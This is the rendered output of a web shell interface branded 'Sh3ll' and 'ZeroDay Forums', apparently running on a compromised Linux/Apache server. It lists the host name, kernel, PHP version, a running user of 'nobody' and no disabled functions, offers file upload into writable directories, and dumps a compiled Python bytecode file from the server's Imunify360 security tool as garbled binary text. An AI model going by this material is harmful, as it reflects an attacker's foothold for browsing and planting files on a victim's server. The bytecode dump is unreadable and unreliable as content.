Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /opt/imunify360/venv/bin/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/imunify360/venv/bin/__pycache__/rst2odt_prepstyles.cpython-311.pyc
�

̍�d����dZddlmZddlmZddlZddlZddlmZddl	Z	ddl
Z
ddd�Zd	�Zd
�Z
edkre
��dSdS)z
Fix a word-processor-generated styles.odt for odtwriter use: Drop page size
specifications from styles.xml in STYLE_FILE.odt.
�)�print_function)�etreeN)�mkstempz/urn:oasis:names:tc:opendocument:xmlns:style:1.0z;urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0)�style�foc�.�tj|��}|�d��}tj|��}|�dt���D]7}|jD]-}|�dtdz��r|j|=�.�8t��}tjtj|dd��dtj��}|�
��D]d}|jdkr)|�|tj|�����6|�||�|j�����e|���|���t%j|d|��dS)	Nz
styles.xmlz//style:page-layout-properties)�
namespacesz{%s}rr�w�)�zipfile�ZipFile�readr�
fromstring�xpath�
NAMESPACES�attrib�
startswithr�os�fdopen�ZIP_DEFLATED�infolist�filename�writestr�tostring�close�shutil�move)	r�zin�styles�root�el�attr�tempname�zout�items	         �/builddir/build/BUILD/imunify360-venv-2.2.0/opt/imunify360/venv/lib/python3.11/site-packages/../../../bin/rst2odt_prepstyles.py�	prepstyler'sp��
�/�(�
#�
#�C�
�X�X�l�
#�
#�F���F�#�#�D��j�j�9�$.��0�0�$�$���I�	$�	$�D����v�
�4�(8�8�9�9�
$��I�d�O��	$��y�y�H��?�2�9�X�a�[�#�6�6��"�/�1�1�D������9�9���=�L�(�(��M�M�$���t� 4� 4�5�5�5�5��M�M�$������ 7� 7�8�8�8�8��J�J�L�L�L��I�I�K�K�K�
�K����X�&�&�&�&�&�c�F�tjdd�}t|��dkrbtttj���tdtjdztj���tjd��|d}t|��dS)Nr)�filezUsage: %s STYLE_FILE.odt
r)�sys�argv�len�print�__doc__�stderr�exitr')�argsrs  r&�mainr38s����8�A�B�B�<�D�
�4�y�y�A�~�~�
�g�C�J�'�'�'�'�
�*�S�X�a�[�8�s�z�J�J�J�J��������A�w�H�
�h�����r(�__main__)r/�
__future__r�lxmlrr+r�tempfilerrrrr'r3�__name__�r(r&�<module>r:s�����&�%�%�%�%�%�������
�
�
�
�����������
�
�
�
�	�	�	�	�?�
G���
�'�'�'�6����z����D�F�F�F�F�F��r(

ZeroDay Forums Mini